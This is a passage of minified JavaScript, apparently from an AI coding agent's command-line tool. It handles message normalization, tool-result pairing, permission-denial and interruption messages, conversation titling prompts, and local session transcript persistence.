${A.used}/${A.total}; ${A.remaining} remaining`),isMeta:!0})];case"budget_usd":return[t1({content:Nm(`USD budget: $${A.used}/$${A.total}; $${A.remaining} remaining`),isMeta:!0})];case"hook_blocking_error":return[t1({content:Nm(`${A.hookName} hook blocking error from command: "${A.blockingError.command}": ${A.blockingError.blockingError}`),isMeta:!0})];case"hook_success":if(A.hookEvent!=="SessionStart"&&A.hookEvent!=="UserPromptSubmit")return[];if(A.content==="")return[];return[t1({content:Nm(`${A.hookName} hook success: ${A.content}`),isMeta:!0})];case"hook_additional_context":{if(A.content.length===0)return[];return[t1({content:Nm(`${A.hookName} hook additional context: ${A.content.join(` `)}`),isMeta:!0})]}case"hook_stopped_continuation":return[t1({content:Nm(`${A.hookName} hook stopped continuation: ${A.message}`),isMeta:!0})];case"verify_plan_reminder":{let Y=`You have completed implementing the plan. Please call the "" tool directly (NOT the ${Nq} tool or an agent) to verify that all plan items were completed correctly.`;return c9([t1({content:Y,isMeta:!0})])}case"already_read_file":case"command_permissions":case"edited_image_file":case"hook_cancelled":case"hook_error_during_execution":case"hook_non_blocking_error":case"hook_system_message":case"structured_output":case"hook_permission_decision":return[]}if(["autocheckpointing","background_task_status"].includes(A.type))return[];return fE("normalizeAttachmentForAPI",Error(`Unknown attachment type: ${A.type}`)),[]}function LpA(A,K){try{let q=A.mapToolResultToToolResultBlockParam(K,"1");if(Array.isArray(q.content)&&q.content.some((Y)=>Y.type==="image"))return t1({content:q.content,isMeta:!0});return t1({content:`Result of calling the ${A.name} tool: ${UA(q.content)}`,isMeta:!0})}catch{return t1({content:`Result of calling the ${A.name} tool: Error`,isMeta:!0})}}function RpA(A,K){return t1({content:`Called the ${A} tool with the following input: ${UA(K)}`,isMeta:!0})}function sG(A,K,q,Y){return{type:"system",subtype:"informational",content:A,isMeta:!1,timestamp:new Date().toISOString(),uuid:WP(),toolUseID:q,level:K,...Y&&{preventContinuation:Y}}}function uHK(A,K,q,Y,z,w,H,J){return{type:"system",subtype:"stop_hook_summary",hookCount:A,hookInfos:K,hookErrors:q,preventedContinuation:Y,stopReason:z,hasOutput:w,level:H,timestamp:new Date().toISOString(),uuid:WP(),toolUseID:J}}function l0K(A){return{type:"system",subtype:"turn_duration",durationMs:A,timestamp:new Date().toISOString(),uuid:WP(),isMeta:!1}}function WI6(A){return{type:"system",subtype:"local_command",content:A,level:"info",timestamp:new Date().toISOString(),uuid:WP(),isMeta:!1}}function GN1(A,K,q){return{type:"system",subtype:"compact_boundary",content:"Conversation compacted",isMeta:!1,timestamp:new Date().toISOString(),uuid:WP(),level:"info",compactMetadata:{trigger:A,preTokens:K},...q?{logicalParentUuid:q}:{}}}function zOK(A,K,q,Y,z){return{type:"system",subtype:"microcompact_boundary",content:"Context microcompacted",isMeta:!1,timestamp:new Date().toISOString(),uuid:WP(),level:"info",microcompactMetadata:{trigger:A,preTokens:K,tokensSaved:q,compactedToolIds:Y,clearedAttachmentUUIDs:z}}}function ju6(A){return A?.type==="system"&&A.subtype==="microcompact_boundary"}function sf7(A,K,q,Y){return{type:"system",subtype:"api_error",level:"error",cause:A.cause instanceof Error?A.cause:void 0,error:A,retryInMs:K,retryAttempt:q,maxRetries:Y,timestamp:new Date().toISOString(),uuid:WP()}}function jL(A){return A?.type==="system"&&A.subtype==="compact_boundary"}function ES2(A){for(let K=A.length-1;K>=0;K--){let q=A[K];if(q&&jL(q))return K}return-1}function kv(A){let K=ES2(A);if(K===-1)return A;return A.slice(K)}function zB6(A,K){if(A.type!=="user")return!0;if(A.isMeta)return!1;if(A.isVisibleInTranscriptOnly&&!K)return!1;return!0}function OpA(A){if(A.type!=="assistant")return!1;if(!Array.isArray(A.message.content))return!1;return A.message.content.every((K)=>K.type==="thinking")}function wB6(A,K,q){let Y=0;for(let z of A){if(!z)continue;if(z.type==="assistant"&&Array.isArray(z.message.content)){if(z.message.content.some((H)=>H.type==="tool_use"&&H.name===K)){if(Y++,q&&Y>=q)return Y}}}return Y}function hP7(A,K){let q;for(let Y=A.length-1;Y>=0;Y--){let z=A[Y];if(!z)continue;if(z.type==="assistant"&&Array.isArray(z.message.content)){let w=z.message.content.find((H)=>H.type==="tool_use"&&H.name===K);if(w){q=w.id;break}}}if(!q)return!1;for(let Y=A.length-1;Y>=0;Y--){let z=A[Y];if(!z)continue;if(z.type==="user"&&Array.isArray(z.message.content)){let w=z.message.content.find((H)=>H.type==="tool_result"&&H.tool_use_id===q);if(w)return w.is_error!==!0}}return!1}function b0K(A){return A.type==="thinking"||A.type==="redacted_thinking"}function kS2(A){let K=A[A.length-1];if(!K||K.type!=="assistant")return A;let q=K.message.content,Y=q[q.length-1];if(!Y||!b0K(Y))return A;let z=q.length-1;while(z>=0){let J=q[z];if(!J||!b0K(J))break;z--}n("tengu_filtered_trailing_thinking_block",{messageUUID:K.uuid,blocksRemoved:q.length-z-1,remainingBlocks:z+1});let w=z<0?[{type:"text",text:"[No message content]",citations:[]}]:q.slice(0,z+1),H=[...A];return H[A.length-1]={...K,message:{...K.message,content:w}},H}function CS2(A){if(A.length===0)return A;let K=!1,q=A.map((Y,z)=>{if(Y.type!=="assistant")return Y;if(z===A.length-1)return Y;let w=Y.message.content;if(Array.isArray(w)&&w.length===0)return K=!0,n("tengu_fixed_empty_assistant_content",{messageUUID:Y.uuid,messageIndex:z}),{...Y,message:{...Y.message,content:[{type:"text",text:wf,citations:[]}]}};return Y});return K?q:A}function RV1(A){let K=new Set;for(let Y of A){if(Y.type!=="assistant")continue;let z=Y.message.content;if(!Array.isArray(z))continue;if(z.some((H)=>H.type!=="thinking"&&H.type!=="redacted_thinking")&&Y.message.id)K.add(Y.message.id)}return A.filter((Y)=>{if(Y.type!=="assistant")return!0;let z=Y.message.content;if(!Array.isArray(z)||z.length===0)return!0;if(!z.every((H)=>H.type==="thinking"||H.type==="redacted_thinking"))return!0;if(Y.message.id&&K.has(Y.message.id))return!0;return n("tengu_filtered_orphaned_thinking_message",{messageUUID:Y.uuid,messageId:Y.message.id,blockCount:z.length}),!1})}function FHK(A,K){return{type:"tool_use_summary",summary:A,precedingToolUseIds:K,uuid:WP(),timestamp:new Date().toISOString()}}function i0K(A){let K=[],q=!1;for(let Y=0;Y<A.length;Y++){let z=A[Y];if(K.push(z),z.type!=="assistant")continue;let w=z.message.content.filter((G)=>G.type==="tool_use").map((G)=>G.id),H=A[Y+1],J=new Set;if(H?.type==="user"){let G=H.message.content;if(Array.isArray(G)){for(let Z of G)if(typeof Z==="object"&&"type"in Z&&Z.type==="tool_result")J.add(Z.tool_use_id)}}let O=new Set(w),X=w.filter((G)=>!J.has(G)),$=[...J].filter((G)=>!O.has(G));if(X.length===0&&$.length===0)continue;q=!0;let _=X.map((G)=>({type:"tool_result",tool_use_id:G,content:"[Tool result missing due to internal error]",is_error:!0}));if(H?.type==="user"){let G=Array.isArray(H.message.content)?H.message.content:[{type:"text",text:H.message.content}];if($.length>0){let W=new Set($);G=G.filter((D)=>{if(typeof D==="object"&&"type"in D&&D.type==="tool_result")return!W.has(D.tool_use_id);return!0})}let Z=[..._,...G];if(Z.length>0){let W={...H,message:{...H.message,content:Z}};Y++,K.push(W)}else Y++}else if(_.length>0)K.push(t1({content:_,isMeta:!0}))}if(q){let Y=A.map((z,w)=>{if(z.type==="assistant"){let H=z.message.content.filter((J)=>J.type==="tool_use").map((J)=>J.id);return`[${w}] assistant(id=${z.message.id}, tool_uses=[${H.join(",")}])`}if(z.type==="user"&&Array.isArray(z.message.content)){let H=z.message.content.filter((J)=>typeof J==="object"&&("type"in J)&&J.type==="tool_result").map((J)=>J.tool_use_id);if(H.length>0)return`[${w}] user(tool_results=[${H.join(",")}])`}return`[${w}] ${z.type}`});n("tengu_tool_result_pairing_repaired",{messageCount:A.length,repairedMessageCount:K.length,messageTypes:Y.join("; ")}),KA(Error(`ensureToolResultPairing: repaired missing tool_result blocks (${A.length} -> ${K.length} messages). Message structure: ${Y.join("; ")}`))}return K}var ut="[Request interrupted by user]",bf="[Request interrupted by user for tool use]",fDA="The user doesn't want to take this action right now. STOP what you are doing and wait for the user to tell you how to proceed.",C5A="The user doesn't want to proceed with this tool use. The tool use was rejected (eg. if it was a file edit, the new_string was NOT written to the file). STOP what you are doing and wait for the user to tell you how to proceed.",GgA=`The user doesn't want to proceed with this tool use. The tool use was rejected (eg. if it was a file edit, the new_string was NOT written to the file). To tell you how to proceed, the user said: `,US="Permission for this tool use was denied. The tool use was rejected (eg. if it was a file edit, the new_string was NOT written to the file). Try a different approach or report the limitation to complete your task.",wUA=`Permission for this tool use was denied. The tool use was rejected (eg. if it was a file edit, the new_string was NOT written to the file). The user said: `,MT6=`The agent proposed a plan that was rejected by the user. The user chose to stay in plan mode rather than proceed with implementation. Rejected plan: `,JS2="IMPORTANT: You *may* attempt to accomplish this action using other tools that might naturally be used to accomplish this goal, e.g. using head instead of cat. But you *should not* attempt to work around this denial in malicious ways, e.g. do not use your ability to run tests to execute non-test actions. You should only try to work around this restriction in reasonable ways that do not attempt to bypass the intent behind this denial. If you believe this capability is essential to complete the user's request, STOP and explain to the user what you were trying to do and why you need this permission. Let the user decide how to proceed.",aKA="No response requested.",TGA="<synthetic>",L_6,MS2;var $8=k(()=>{t9();WE();F1A();l1();Am();cT();gO();b1();QqA();Ev();VJ();Xw();C1();wz();HO1();Z1();cO();Ke();xG();y_6();CpA();hxA();M5A();V5A();mUA();vC();L_6=new Set([ut,bf,fDA,C5A,aKA]);MS2=["commit_analysis","context","function_analysis","pr_analysis"]});function LS2(A){let K=["Summarize this coding conversation in under 50 characters.","Capture the main task, key files, problems addressed, and current status."];if(A)K.push(`Always respond in ${A}.`);return K.join(` `)}function RS2(){let A=_O(),K=aW(A);if(K<=n0K)return Math.floor(K*0.8);return K-n0K}function yS2(A){return n2(A).map((K)=>{if(K.type==="user"){if(typeof K.message.content==="string")return`User: ${K.message.content}`;else if(Array.isArray(K.message.content))return`User: ${K.message.content.filter((q)=>q.type==="text").map((q)=>q.type==="text"?q.text:"").join(` `).trim()}`}else if(K.type==="assistant"){let q=Vm(K);if(q)return`Claude: ${VDA(q).trim()}`}return null}).filter((K)=>K!==null).join(` `)}async function r0K(A){if(!A.length)throw Error("Can't summarize empty conversation");let K=[],q=0,Y=RS2(),z=null;for(let _=A.length-1;_>=0;_--){let G=A[_];if(!G)continue;let Z=bM([G]),W=0;if(z!==null&&Z>0&&Z<z)W=z-Z;if(q+W>Y)break;if(K.unshift(G),q+=W,Z>0)z=Z}let w=K.length<A.length;h(w?`Summarizing last ${K.length} of ${A.length} messages (~${q} tokens)`:`Summarizing all ${A.length} messages (~${q} tokens)`);let H=yS2(K),J=w?`[Last ${K.length} of ${A.length} messages] `:"",O=yq().language,X=[`Please write a 5-10 word title for the following conversation: ${J}${H} `,"Respond with the title for the conversation and nothing else.",...O?[`Write the title in ${O}.`]:[]];return(await D$({systemPrompt:[LS2(O)],userPrompt:X.join(` `),signal:new AbortController().signal,options:{enablePromptCaching:!0,querySource:"summarize_for_resume",agents:[],isNonInteractiveSession:!1,hasAppendSystemPrompt:!1,mcpTools:[]}})).message.content.filter((_)=>_.type==="text").map((_)=>_.text).join("")}var n0K=50000;var o0K=k(()=>{sz();$8();Z1();oZ();K7();I8();iP()});import{join as yv,basename as IS2,dirname as SS2}from"path";import{readFile as s0K,writeFile as hS2}from"fs/promises";function Pm(A){return A.type==="user"||A.type==="assistant"||A.type==="attachment"||A.type==="system"||A.type==="progress"}function T9A(){return yv(w8(),"projects")}function Y$(){let A=in6();if(A)return A;return T_(d1())}function T_(A){let K=yJ(_e);return yv(K,`${A}.jsonl`)}function $B(A){let K=yJ(_e),q=d1();return yv(K,q,"subagents",`agent-${A}.jsonl`)}function t0K(A){let K=yJ(_e),q=yv(K,`${A}.jsonl`),Y=BA();try{return Y.statSync(q),!0}catch{return!1}}function uS2(){return"production"}function e0K(){return"external"}function rd(){return!0}function yJ(A){return yv(T9A(),BwA(A))}function qN(){if(!aN1){if(aN1=new AXK,!a0K)kK(async()=>{await aN1?.flush()}),a0K=!0}return aN1}class AXK{currentSessionTag;currentSessionTitle;currentSessionAgentName;currentSessionAgentColor;sessionFile=null;remoteIngressUrl=null;pendingWriteCount=0;flushResolvers=[];constructor(){}incrementPendingWrites(){this.pendingWriteCount++}decrementPendingWrites(){if(this.pendingWriteCount--,this.pendingWriteCount===0){for(let A of this.flushResolvers)A();this.flushResolvers=[]}}async trackWrite(A){this.incrementPendingWrites();try{return await A()}finally{this.decrementPendingWrites()}}async flush(){if(this.pendingWriteCount===0)return;return new Promise((A)=>{this.flushResolvers.push(A)})}async removeMessageByUuid(A){return this.trackWrite(async()=>{if(this.sessionFile!==null)try{let q=(await s0K(this.sessionFile,{encoding:"utf-8"})).split(` `).filter((Y)=>{if(!Y.trim())return!0;try{return G6(Y).uuid!==A}catch{return!0}});await hS2(this.sessionFile,q.join(` `),{encoding:"utf8"})}catch{}})}async insertMessageChain(A,K=!1,q,Y,z){return this.trackWrite(async()=>{let w=Y??null,H;try{H=await bN()}catch{H=void 0}let J=d1(),O=WzA().get(J);for(let X of A){let $=jL(X),_=w;if(X.type==="user"&&"sourceToolAssistantUUID"in X&&X.sourceToolAssistantUUID)_=X.sourceToolAssistantUUID;let G={parentUuid:$?null:_,logicalParentUuid:$?w:void 0,isSidechain:K,teamName:z?.teamName,agentName:z?.agentName,userType:e0K(),cwd:x1(),sessionId:J,version:xS2,gitBranch:H,agentId:q,slug:O,...X};await this.appendEntry(G),w=X.uuid}})}async insertFileHistorySnapshot(A,K,q){return this.trackWrite(async()=>{let Y={type:"file-history-snapshot",messageId:A,snapshot:K,isSnapshotUpdate:q};await this.appendEntry(Y)})}async insertQueueOperation(A){return this.trackWrite(async()=>{await this.appendEntry(A)})}async insertAttributionSnapshot(A){return this.trackWrite(async()=>{await this.appendEntry(A)})}async appendEntry(A,K=d1()){let q=process.env.TEST_ENABLE_SESSION_PERSISTENCE==="true";if(uS2()==="test"&&!q||J8()?.cleanupPeriodDays===0||Pl())return;let Y=BA(),z=d1(),w=K===z,H=w?this.ensureCurrentSessionFile():this.getExistingSessionFile(K);if(!H){KA(Error(`appendEntry: session file not found for ${w?"current":"other"} session ${K}`));return}if(A.type==="summary")Y.appendFileSync(H,UA(A)+` `,{mode:384});else if(A.type==="custom-title")Y.appendFileSync(H,UA(A)+` `,{mode:384});else if(A.type==="tag")Y.appendFileSync(H,UA(A)+` `,{mode:384});else if(A.type==="agent-name")Y.appendFileSync(H,UA(A)+` `,{mode:384});else if(A.type==="agent-color")Y.appendFileSync(H,UA(A)+` `,{mode:384});else if(A.type==="file-history-snapshot")Y.appendFileSync(H,UA(A)+` `,{mode:384});else if(A.type==="attribution-snapshot")Y.appendFileSync(H,UA(A)+` `,{mode:384});else{let J=await MB6(K);if(A.type==="queue-operation")Y.appendFileSync(H,UA(A)+` `,{mode:384});else{let O=A.isSidechain&&A.agentId!==void 0,X=O?$B(oD(A.agentId)):H;if(O)try{Y.statSync(X)}catch{let $=yJ(_e),_=yv($,d1()),G=yv(_,"subagents");if(!Y.existsSync($))Y.mkdirSync($,{mode:448});if(!Y.existsSync(_))Y.mkdirSync(_,{mode:448});if(!Y.existsSync(G))Y.mkdirSync(G,{mode:448});x8(X,"",{encoding:"utf8",flush:!0,mode:384})}if(!J.has(A.uuid)){if(Y.appendFileSync(X,UA(A)+` `,{mode:384}),J.add(A.uuid),this.remoteIngressUrl&&Pm(A))await this.persistToRemote(K,A)}}}}ensureCurrentSessionFile(){let A=BA();if(this.sessionFile===null){let K=yJ(_e);try{A.statSync(K)}catch{A.mkdirSync(K,{mode:448})}this.sessionFile=Y$();try{A.statSync(this.sessionFile)}catch{x8(this.sessionFile,"",{encoding:"utf8",flush:!0,mode:384})}}try{A.statSync(this.sessionFile)}catch{let K=yJ(_e);try{A.statSync(K)}catch{A.mkdirSync(K,{mode:448})}x8(this.sessionFile,"",{encoding:"utf8",flush:!0,mode:384})}return this.sessionFile}getExistingSessionFile(A){let K=T_(A);return BA().existsSync(K)?K:null}async persistToRemote(A,K){if(!this.remoteIngressUrl)return;if(!await JJK(A,K,this.remoteIngressUrl))n("tengu_session_persistence_failed",{}),Y5(1,"other")}setRemoteIngressUrl(A){this.remoteIngressUrl=A,h(`Remote persistence enabled with URL: ${A}`)}async getLastLog(A){let{messages:K}=await jB6(A);if(K.size===0)return null;let Y=Array.from(K.values()).filter((w)=>!w.isSidechain).sort((w,H)=>new Date(H.timestamp).getTime()-new Date(w.timestamp).getTime())[0];if(!Y)return null;return IpA(K,Y)}}async function Mm(A,K){let q=OXK(A),Y=d1(),z=await MB6(Y),w=[],H;for(let J of q)if(z.has(J.uuid))H=J.uuid;else w.push(J);if(w.length>0)await qN().insertMessageChain(w,!1,void 0,H,K);return q[q.length-1]?.uuid||null}async function wMA(A,K,q){await qN().insertMessageChain(OXK(A),!0,K,q)}async function Sj7(A){await qN().insertQueueOperation(A)}async function KXK(A){await qN().removeMessageByUuid(A)}async function oG1(A,K,q){await qN().insertFileHistorySnapshot(A,K,q)}async function EL(){let A=qN();A.sessionFile=Y$()}async function qXK(A,K){SN(rD(A));let q=qN();try{let Y=await XJK(A,K)||[],z=BA(),w=yJ(_e);try{z.statSync(w)}catch{z.mkdirSync(w,{mode:448})}let H=T_(A);if(z.existsSync(H))z.unlinkSync(H);for(let J of Y)z.appendFileSync(H,UA(J)+` `,{mode:384});if(Y.length===0&&!z.existsSync(H))x8(H,"",{encoding:"utf8",flush:!0,mode:384});return h(`Hydrated ${Y.length} entries from remote`),Y.length>0}catch(Y){return h(`Error hydrating session from remote: ${Y}`),v8("error","hydrate_remote_session_fail"),!1}finally{q.setRemoteIngressUrl(K)}}function XB6(A){let K=$B6(A);if(K){let q=K.replace(/\n/g," ").trim();if(q.length>200)q=q.slice(0,200).trim()+"…";return q}return"No prompt"}function $B6(A){for(let K of A){if(K.type!=="user"||K.isMeta)continue;if("isCompactSummary"in K&&K.isCompactSummary)continue;let q=K.message?.content;if(!q)continue;let Y="";if(typeof q==="string")Y=q;else if(Array.isArray(q))Y=q.find((J)=>J.type==="text")?.text||"";if(!Y)continue;let z=i7(Y,hN);if(z){let H=z.replace(/^\//,"");if(mt().has(H))continue;else{let J=i7(Y,"command-args");if(!J||J.trim()==="")continue}}if(Y.match(/^<local-command-stdout>/))continue;if(Y.match(/^<session-start-hook>/))continue;if(Y.startsWith(`<${El}>`))continue;let w=i7(Y,"bash-input");if(w)return`! ${w}`;return Y}return}function _B6(A){return A.map((K)=>{let{isSidechain:q,parentUuid:Y,...z}=K;return z})}function IpA(A,K){let q=[],Y=K;while(Y)q.unshift(Y),Y=Y.parentUuid?A.get(Y.parentUuid):void 0;return q}function GB6(A,K){let q=[];for(let Y of K){let z=A.get(Y.uuid);if(!z)continue;if(!z.isSnapshotUpdate)q.push(z.snapshot);else{let w=q.findLastIndex((H)=>H.messageId===z.snapshot.messageId);if(w===-1)q.push(z.snapshot);else q[w]=z.snapshot}}return q}function ZB6(A,K){return Array.from(A.values())}function BS2(A){if(A.type!=="user")return!1;if(A.isMeta)return!1;let K=A.message?.content;if(!K)return!1;if(typeof K==="string")return K.trim().length>0;if(Array.isArray(K))return K.some((q)=>q.type==="text"||q.type==="image"||q.type==="document");return!1}function mS2(A){if(A.type!=="assistant")return!1;let K=A.message?.content;if(!K||!Array.isArray(K))return!1;return K.some((q)=>q.type==="text"&&typeof q.text==="string"&&q.text.trim().length>0)}function WB6(A){let K=0;for(let q of A)switch(q.type){case"user":if(BS2(q))K++;break;case"assistant":if(mS2(q))K++;break;case"attachment":case"system":case"progress":break}return K}function gS2(A,K=0,q,Y,z,w,H,J){let O=A[A.length-1],X=A[0],$=XB6(A),_=new Date(X.timestamp),G=new Date(O.timestamp);return{date:O.timestamp,messages:_B6(A),fullPath:H,value:K,created:_,modified:G,firstPrompt:$,messageCount:WB6(A),isSidechain:X.isSidechain,teamName:X.teamName,agentName:X.agentName,leafUuid:O.uuid,summary:q,customTitle:Y,tag:w,fileHistorySnapshots:z,attributionSnapshots:J,gitBranch:O.gitBranch,projectPath:X.cwd}}async function FS2(A){let K=new Map,q=0;for(let H of A){let J=ZH(H);if(J){let O=(K.get(J)||0)+1;K.set(J,O),q=Math.max(O,q)}}if(q<=1)return;let Y=Array.from(K.values()).filter((H)=>H>1),z=Y.length,w=Y.reduce((H,J)=>H+J,0);n("tengu_session_forked_branches_fetched",{total_sessions:K.size,sessions_with_branches:z,max_branches_per_session:Math.max(...Y),avg_branches_per_session:Math.round(w/z),total_transcript_count:A.length})}async function QS2(A){let K=yJ(_e),q=await sN1(K,A);return await FS2(q),q}function tN1(A,K,q,Y){BA().appendFileSync(A,UA(q)+` `,{mode:384});let w=SS2(A);US2(w,K,Y)}async function kPA(A,K,q){let Y=q??T_(A);if(tN1(Y,A,{type:"custom-title",customTitle:K,sessionId:A},{customTitle:K}),A===d1())qN().currentSessionTitle=K;n("tengu_session_renamed",{})}async function DB6(A,K,q){let Y=q??T_(A);if(tN1(Y,A,{type:"tag",tag:K,sessionId:A},{tag:K}),A===d1())qN().currentSessionTag=K;n("tengu_session_tagged",{})}function YXK(A){if(A===d1())return qN().currentSessionTag;return}function zXK(A){if(A===d1())return qN().currentSessionTitle;return}async function wXK(A,K,q){let Y=q??T_(A);if(tN1(Y,A,{type:"agent-name",agentName:K,sessionId:A},{agentName:K}),A===d1())qN().currentSessionAgentName=K;n("tengu_agent_name_set",{})}async function HXK(A,K,q){let Y=q??T_(A);if(tN1(Y,A,{type:"agent-color",agentColor:K,sessionId:A},{agentColor:K}),A===d1())qN().currentSessionAgentColor=K;n("tengu_agent_color_set",{})}function ZH(A){if(A.sessionId)return A.sessionId;return A.messages[0]?.sessionId}function NL(A){return A.messages.length===0&&A.sessionId!==void 0}async function sS(A){if(!NL(A))return A;let K=A.fullPath;if(!K)return A;try{let{messages:q,fileHistorySnapshots:Y,attributionSnapshots:z,leafUuids:w}=await CPA(K);if(q.size===0)return A;let J=[...q.values()].filter((X)=>w.has(X.uuid)&&(X.type==="user"||X.type==="assistant")).sort((X,$)=>new Date($.timestamp).getTime()-new Date(X.timestamp).getTime())[0];if(!J)return A;let O=IpA(q,J);return{...A,messages:_B6(O),fileHistorySnapshots:GB6(Y,O),attributionSnapshots:ZB6(z,O)}}catch{return A}}async function od(A,K){let{limit:q,exact:Y}=K||{},z=await ch(V8()),w=await Ge(z),H=A.toLowerCase().trim(),J=w.filter(($)=>{let _=$.customTitle?.toLowerCase().trim();if(!_)return!1;return Y?_===H:_.includes(H)}),O=new Map;for(let $ of J){let _=ZH($);if(_){let G=O.get(_);if(!G||$.modified>G.modified)O.set(_,$)}}let X=Array.from(O.values());if(X.sort(($,_)=>_.modified.getTime()-$.modified.getTime()),q)return X.slice(0,q);return X}async function CPA(A){let K=new Map,q=new Map,Y=new Map,z=new Map,w=new Map,H=new Map,J=new Map,O=new Map;try{let Z=await s0K(A),W=I1A(Z);for(let D of W)if(Pm(D)){if(D.type==="progress"&&D.data&&typeof D.data==="object"&&"normalizedMessages"in D.data&&Array.isArray(D.data.normalizedMessages)&&D.data.normalizedMessages.length>0)D.data.normalizedMessages=[];K.set(D.uuid,D)}else if(D.type==="summary"&&D.leafUuid)q.set(D.leafUuid,D.summary);else if(D.type==="custom-title"&&D.sessionId)Y.set(D.sessionId,D.customTitle);else if(D.type==="tag"&&D.sessionId)z.set(D.sessionId,D.tag);else if(D.type==="agent-name"&&D.sessionId)w.set(D.sessionId,D.agentName);else if(D.type==="agent-color"&&D.sessionId)H.set(D.sessionId,D.agentColor);else if(D.type==="file-history-snapshot")J.set(D.messageId,D);else if(D.type==="attribution-snapshot")O.set(D.messageId,D)}catch{}let X=[...K.values()],$=new Set(X.map((Z)=>Z.parentUuid).filter((Z)=>Z!==null)),_=X.filter((Z)=>!$.has(Z.uuid)),G=new Set;for(let Z of _){let W=Z;while(W){if(W.type==="user"||W.type==="assistant"){G.add(W.uuid);break}W=W.parentUuid?K.get(W.parentUuid):void 0}}return{messages:K,summaries:q,customTitles:Y,tags:z,agentNames:w,agentColors:H,fileHistorySnapshots:J,attributionSnapshots:O,leafUuids:G}}async function jB6(A){let K=yv(yJ(V8()),`${A}.jsonl`);return CPA(K)}async function JXK(A,K){return(await MB6(A)).has(K)}async function ax6(A){let K=await qN().getLastLog(A);if(K!==null&&K!==void 0){let q=K[K.length-1],{summaries:Y,customTitles:z,tags:w,fileHistorySnapshots:H,attributionSnapshots:J}=await jB6(A),O=q?Y.get(q.uuid):void 0,X=q?z.get(q.sessionId):void 0,$=q?w.get(q.sessionId):void 0;return gS2(K,0,O,X,GB6(H,K),$,T_(A),ZB6(J,K))}return null}async function EPA(A){let q=(await QS2(A)).filter((Y)=>OB6(Y));return vzA(q).map((Y,z)=>({...Y,value:z}))}async function SpA(A){let K=BA(),q=T9A();try{K.statSync(q)}catch{return[]}let z=K.readdirSync(q).filter((J)=>J.isDirectory()).map((J)=>yv(q,J.name)),H=(await Promise.all(z.map((J)=>sN1(J,A)))).flat();return vzA(H).map((J,O)=>({...J,value:O}))}async function Ge(A,K){let q=BA(),Y=T9A();if(A.length<=1){let J=yJ(V8());return sN1(J)}try{q.statSync(Y)}catch{return EPA(K)}let z=A.map((J)=>BwA(J)),w=[];try{let J=q.readdirSync(Y);for(let O of J){if(!O.isDirectory())continue;let X=O.name;if(z.some((_)=>X===_||X.startsWith(_+"-")))w.push(yv(Y,X))}}catch{return EPA(K)}if(w.length===0)return EPA(K);let H=[];for(let J of w){let O=await sN1(J);H.push(...O)}return vzA(H).map((J,O)=>({...J,value:O}))}async function yV1(A){let K=$B(A),q=BA();try{q.statSync(K)}catch{return null}try{let{messages:Y}=await CPA(K),z=Array.from(Y.values()).filter((X)=>X.agentId===A&&X.isSidechain);if(z.length===0)return null;let w=new Set(z.map((X)=>X.parentUuid)),H=z.filter((X)=>!w.has(X.uuid)).sort((X,$)=>new Date($.timestamp).getTime()-new Date(X.timestamp).getTime())[0];if(!H)return null;return IpA(Y,H).filter((X)=>X.agentId===A).map(({isSidechain:X,parentUuid:$,..._})=>_)}catch{return null}}function OXK(A){return A.filter((K)=>{if(K.type==="attachment"&&e0K()!=="ant")return!1;return!0}).map((K)=>{if(K.type==="progress"&&K.data&&typeof K.data==="object"&&"normalizedMessages"in K.data&&Array.isArray(K.data.normalizedMessages))return{...K,data:{...K.data,normalizedMessages:[]}};return K})}async function tHK(A){return(await EPA())[A]||null}async function XXK(A){try{let K=d1(),q=T_(K),{messages:Y}=await CPA(q),z=null;for(let w of Y.values())if(w.type==="assistant"){let H=w.message.content;if(Array.isArray(H)){for(let J of H)if(J.type==="tool_use"&&J.id===A){z=w;break}}}else if(w.type==="user"){let H=w.message.content;if(Array.isArray(H)){for(let J of H)if(J.type==="tool_result"&&J.tool_use_id===A)return null}}return z}catch{return null}}function PB6(A){let K=BA(),q=yv(A,$XK);try{if(!K.existsSync(q))return null;let Y=K.readFileSync(q,{encoding:"utf-8"}),z=G6(Y);if(z.version!==HB6||!Array.isArray(z.entries))return h(`Session index invalid or version mismatch: expected version ${HB6}`),null;return z}catch(Y){return KA(Y),null}}function JB6(A,K){let q=BA(),Y=yv(A,$XK),z=`${Y}.tmp`;try{if(!q.existsSync(A))q.mkdirSync(A,{mode:448});if(!K.originalPath)K.originalPath=V8();return x8(z,UA(K,null,2),{encoding:"utf-8",flush:!0,mode:384}),q.renameSync(z,Y),!0}catch(w){KA(w);try{if(q.existsSync(z))q.unlinkSync(z)}catch{}return!1}}function US2(A,K,q){let Y=PB6(A);if(!Y)return;let z=Y.entries.find((H)=>H.sessionId===K);if(!z)return;if(q.customTitle!==void 0)z.customTitle=q.customTitle;if(q.tag!==void 0)z.tag=q.tag;if(q.agentName!==void 0)z.agentName=q.agentName;if(q.agentColor!==void 0)z.agentColor=q.agentColor;let w=BA();try{let H=w.statSync(z.fullPath);z.fileMtime=H.mtimeMs}catch{}JB6(A,Y)}function pS2(A,K,q,Y,z,w,H,J,O){if(Y.length===0)return null;let X=Y[0],$=Y[Y.length-1],_=[...Y].reverse().find((G)=>G.type==="user"||G.type==="assistant");return{sessionId:A,fullPath:K,fileMtime:q,firstPrompt:XB6(Y),customTitle:w.get(A),summary:_?z.get(_.uuid):void 0,tag:H.get(A),agentName:J.get(A),agentColor:O.get(A),messageCount:WB6(Y),created:X.timestamp,modified:$.timestamp,gitBranch:$.gitBranch,projectPath:X.cwd,isSidechain:X.isSidechain??!1}}async function dS2(A,K,q,Y,z){try{let w=await r0K(A);if(!w)return;let H={type:"summary",summary:w,leafUuid:K};return z.appendFileSync(q,UA(H)+` `,{mode:384}),h(`Generated summary for session ${Y}: "${w}"`),w}catch(w){h(`Failed to generate summary for session ${Y}: ${w}`);return}}async function _XK(A){let K=BA();try{if(!K.existsSync(A))return;let q=PB6(A),Y=q??{version:HB6,entries:[]},z=new Map;for(let G of Y.entries)z.set(G.sessionId,G);let w=GXK(A),H=0,J=0,O=0,X=0;Y.entries=Y.entries.filter((G)=>{if(w.has(G.sessionId))return!0;return O++,!1});let $=d1(),_=b7();for(let[G,Z]of w){let W=Z;if(G===$)continue;let D=z.get(G);if(D&&W.mtime<=D.fileMtime&&(_||D.summary))continue;try{let{messages:M,summaries:P,customTitles:f,tags:N,agentNames:T,agentColors:C,leafUuids:R}=await CPA(W.path);if(M.size===0)continue;let x=lS2(M,R);if(!x)continue;let y=[...x].reverse().find((b)=>b.type==="user"||b.type==="assistant");if(!_&&y&&!P.has(y.uuid)&&X<bS2){let b=await 